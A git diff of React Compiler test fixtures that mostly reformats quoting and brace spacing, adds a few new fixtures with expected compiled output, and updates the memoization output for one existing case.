 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.expect.md
index 9c96ab735ab6..4ae1fb6e22c4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.expect.md
@@ -9,8 +9,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -19,7 +19,7 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 function foo(props) {
-  const [x, unused, y] = props.a;
+  const [x, , y] = props.a;
   return x + y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.js
index 3c6678d53496..463ccb2ee6d1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.js
@@ -5,6 +5,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.expect.md
index c2b6685710c0..9dfe2900fcb1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.expect.md
@@ -9,8 +9,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.js
index e5f17a89a894..6b06b947f870 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.js
@@ -5,6 +5,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.expect.md
index 3d38dbfd2fd8..9857df1d2cbe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.expect.md
@@ -10,8 +10,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.js
index d9de2eaa7a4b..df923676a5a0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.js
@@ -6,6 +6,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.expect.md
index 28c77cea1187..0e27157bd7a0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.expect.md
@@ -10,8 +10,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.js
index 6cdd9737be22..f46df7776417 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.js
@@ -6,6 +6,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.expect.md
index adaa91d08e6d..b41c310a3853 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.expect.md
@@ -4,14 +4,14 @@
 ```javascript
 function Foo(props) {
   // can't remove `unused` since it affects which properties are copied into `rest`
-  const { unused, ...rest } = props.a;
+  const {unused, ...rest} = props.a;
   return rest;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.js
index 895fb9e59cc6..b63f26746fcf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.js
@@ -1,11 +1,11 @@
 function Foo(props) {
   // can't remove `unused` since it affects which properties are copied into `rest`
-  const { unused, ...rest } = props.a;
+  const {unused, ...rest} = props.a;
   return rest;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.expect.md
index b22f1b999850..76f456caa2c7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Foo(props) {
-  const { x, y, ...z } = props.a;
+  const {x, y, ...z} = props.a;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.js
index 402b025791de..39eb8bc41614 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.js
@@ -1,10 +1,10 @@
 function Foo(props) {
-  const { x, y, ...z } = props.a;
+  const {x, y, ...z} = props.a;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.expect.md
index be5337c9cd0a..7ee891e9d0f7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.expect.md
@@ -8,7 +8,7 @@ function Component() {
   const c = ++a;
   const d = a--;
   const e = --a;
-  return { a, b, c, d, e };
+  return {a, b, c, d, e};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.js
index f5cb43106651..6ffa17c4005b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.js
@@ -4,7 +4,7 @@ function Component() {
   const c = ++a;
   const d = a--;
   const e = --a;
-  return { a, b, c, d, e };
+  return {a, b, c, d, e};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.expect.md
index 2a45500d3788..cc6cfb27c77c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.expect.md
@@ -15,7 +15,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 2, cond: true }],
+  params: [{x: 2, cond: true}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.js
index 821a54cc8787..c377795ccb44 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.js
@@ -11,6 +11,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 2, cond: true }],
+  params: [{x: 2, cond: true}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.expect.md
index 98c2b6115719..48eb49e73d00 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Component({ a: a, b: [b], c: { c } }) {
+function Component({a: a, b: [b], c: {c}}) {
   let d = a++;
   let e = ++a;
   let f = b--;
@@ -14,7 +14,7 @@ function Component({ a: a, b: [b], c: { c } }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 2, b: [3], c: { c: 4 } }],
+  params: [{a: 2, b: [3], c: {c: 4}}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.js
index bbed4b7f86fe..90d605758445 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.js
@@ -1,4 +1,4 @@
-function Component({ a: a, b: [b], c: { c } }) {
+function Component({a: a, b: [b], c: {c}}) {
   let d = a++;
   let e = ++a;
   let f = b--;
@@ -10,6 +10,6 @@ function Component({ a: a, b: [b], c: { c } }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 2, b: [3], c: { c: 4 } }],
+  params: [{a: 2, b: [3], c: {c: 4}}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.expect.md
index 2d4c95e24a84..5e65530da257 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Component({ c }) {
+function Component({c}) {
   let h = c++;
   let i = --c;
   return [c, h, i];
@@ -10,7 +10,7 @@ function Component({ c }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ c: 4 }],
+  params: [{c: 4}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.js
index 488cc93d4921..180dab5fe988 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.js
@@ -1,4 +1,4 @@
-function Component({ c }) {
+function Component({c}) {
   let h = c++;
   let i = --c;
   return [c, h, i];
@@ -6,6 +6,6 @@ function Component({ c }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ c: 4 }],
+  params: [{c: 4}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.expect.md
index c2aa1a83dcd3..7f9157eb9c9a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.expect.md
@@ -2,16 +2,16 @@
 ## Input
 
 ```javascript
-function foo(props: { x: number }) {
+function foo(props: {x: number}) {
   let x = props.x;
   let y = x++;
   let z = x--;
-  return { x, y, z };
+  return {x, y, z};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ x: 1 }],
+  params: [{x: 1}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.ts
index d085eb78b306..4822e9650507 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.ts
@@ -1,12 +1,12 @@
-function foo(props: { x: number }) {
+function foo(props: {x: number}) {
   let x = props.x;
   let y = x++;
   let z = x--;
-  return { x, y, z };
+  return {x, y, z};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ x: 1 }],
+  params: [{x: 1}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-global-in-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-global-in-callback.expect.md
new file mode 100644
index 000000000000..a250ce4a10c2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-global-in-callback.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+let renderCount = 0;
+function Foo() {
+  const cb = () => {
+    renderCount += 1;
+    return renderCount;
+  };
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+let renderCount = 0;
+function Foo() {
+  const $ = _c(1);
+  const cb = _temp;
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <Stringify cb={cb} shouldInvokeFns={true} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp() {
+  renderCount = renderCount + 1;
+  return renderCount;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-global-in-callback.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-global-in-callback.tsx
new file mode 100644
index 000000000000..7bf6d5e3e42b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-global-in-callback.tsx
@@ -0,0 +1,15 @@
+import {Stringify} from 'shared-runtime';
+
+let renderCount = 0;
+function Foo() {
+  const cb = () => {
+    renderCount += 1;
+    return renderCount;
+  };
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.expect.md
index 6eb085435ddd..da6b14a0c97f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function component() {
   const [count, setCount] = useState(0);
   const increment = useCallback(() => setCount(count + 1));
@@ -14,7 +15,7 @@ function component() {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies:false
 function component() {
   const $ = _c(4);
   const [count, setCount] = useState(0);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.js
index 132fcb30a2b4..89b87f2d591b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.js
@@ -1,3 +1,4 @@
+// @validateExhaustiveMemoizationDependencies:false
 function component() {
   const [count, setCount] = useState(0);
   const increment = useCallback(() => setCount(count + 1));
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-effect-cleanup-reassigns.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-effect-cleanup-reassigns.expect.md
new file mode 100644
index 000000000000..e8087ca06478
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-effect-cleanup-reassigns.expect.md
@@ -0,0 +1,127 @@
+
+## Input
+
+```javascript
+import {useEffect, useState} from 'react';
+
+/**
+ * Example of a function expression whose return value shouldn't have
+ * a "freeze" effect on all operands.
+ *
+ * This is because the function expression is passed to `useEffect` and
+ * thus is not a render function. `cleanedUp` is also created within
+ * the effect and is not a render variable.
+ */
+function Component({prop}) {
+  const [cleanupCount, setCleanupCount] = useState(0);
+
+  useEffect(() => {
+    let cleanedUp = false;
+    setTimeout(() => {
+      if (!cleanedUp) {
+        cleanedUp = true;
+        setCleanupCount(c => c + 1);
+      }
+    }, 0);
+    // This return value should not have freeze effects
+    // on its operands
+    return () => {
+      if (!cleanedUp) {
+        cleanedUp = true;
+        setCleanupCount(c => c + 1);
+      }
+    };
+  }, [prop]);
+  return <div>{cleanupCount}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: 5}],
+  sequentialRenders: [{prop: 5}, {prop: 5}, {prop: 6}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useEffect, useState } from "react";
+
+/**
+ * Example of a function expression whose return value shouldn't have
+ * a "freeze" effect on all operands.
+ *
+ * This is because the function expression is passed to `useEffect` and
+ * thus is not a render function. `cleanedUp` is also created within
+ * the effect and is not a render variable.
+ */
+function Component(t0) {
+  const $ = _c(5);
+  const { prop } = t0;
+  const [cleanupCount, setCleanupCount] = useState(0);
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      let cleanedUp = false;
+      setTimeout(
+        () => {
+          if (!cleanedUp) {
+            cleanedUp = true;
+            setCleanupCount(_temp);
+          }
+        },
+
+        0,
+      );
+
+      return () => {
+        if (!cleanedUp) {
+          cleanedUp = true;
+          setCleanupCount(_temp2);
+        }
+      };
+    };
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  let t2;
+  if ($[1] !== prop) {
+    t2 = [prop];
+    $[1] = prop;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  useEffect(t1, t2);
+  let t3;
+  if ($[3] !== cleanupCount) {
+    t3 = <div>{cleanupCount}</div>;
+    $[3] = cleanupCount;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  return t3;
+}
+function _temp2(c_0) {
+  return c_0 + 1;
+}
+function _temp(c) {
+  return c + 1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ prop: 5 }],
+  sequentialRenders: [{ prop: 5 }, { prop: 5 }, { prop: 6 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>0</div>
+<div>0</div>
+<div>1</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-effect-cleanup-reassigns.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-effect-cleanup-reassigns.js
new file mode 100644
index 000000000000..9910461613ec
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-effect-cleanup-reassigns.js
@@ -0,0 +1,38 @@
+import {useEffect, useState} from 'react';
+
+/**
+ * Example of a function expression whose return value shouldn't have
+ * a "freeze" effect on all operands.
+ *
+ * This is because the function expression is passed to `useEffect` and
+ * thus is not a render function. `cleanedUp` is also created within
+ * the effect and is not a render variable.
+ */
+function Component({prop}) {
+  const [cleanupCount, setCleanupCount] = useState(0);
+
+  useEffect(() => {
+    let cleanedUp = false;
+    setTimeout(() => {
+      if (!cleanedUp) {
+        cleanedUp = true;
+        setCleanupCount(c => c + 1);
+      }
+    }, 0);
+    // This return value should not have freeze effects
+    // on its operands
+    return () => {
+      if (!cleanedUp) {
+        cleanedUp = true;
+        setCleanupCount(c => c + 1);
+      }
+    };
+  }, [prop]);
+  return <div>{cleanupCount}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: 5}],
+  sequentialRenders: [{prop: 5}, {prop: 5}, {prop: 6}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-noemit.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-noemit.expect.md
new file mode 100644
index 000000000000..2068971957c5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-noemit.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+// @outputMode:"lint"
+
+function Foo() {
+  'use memo';
+  return <button onClick={() => alert('hello!')}>Click me!</button>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+// @outputMode:"lint"
+
+function Foo() {
+  "use memo";
+  return <button onClick={() => alert("hello!")}>Click me!</button>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <button>Click me!</button>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-noemit.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-noemit.js
new file mode 100644
index 000000000000..b12668f15aed
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-noemit.js
@@ -0,0 +1,11 @@
+// @outputMode:"lint"
+
+function Foo() {
+  'use memo';
+  return <button onClick={() => alert('hello!')}>Click me!</button>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.expect.md
index daa7f76ad8a8..b9e7e1bfe107 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Component(props) {
-  "use memo";
+  'use memo';
   let x = [props.foo];
   return <div x={x}>"foo"</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ foo: 1 }],
+  params: [{foo: 1}],
   isComponent: true,
 };
 
@@ -22,25 +22,17 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   "use memo";
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
   if ($[0] !== props.foo) {
-    t0 = [props.foo];
+    const x = [props.foo];
+    t0 = <div x={x}>"foo"</div>;
     $[0] = props.foo;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const x = t0;
-  let t1;
-  if ($[2] !== x) {
-    t1 = <div x={x}>"foo"</div>;
-    $[2] = x;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.js
index 3166f45d95a0..5292c92578da 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.js
@@ -1,11 +1,11 @@
 function Component(props) {
-  "use memo";
+  'use memo';
   let x = [props.foo];
   return <div x={x}>"foo"</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ foo: 1 }],
+  params: [{foo: 1}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.expect.md
index b749b15e64ba..27ef8917f986 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.expect.md
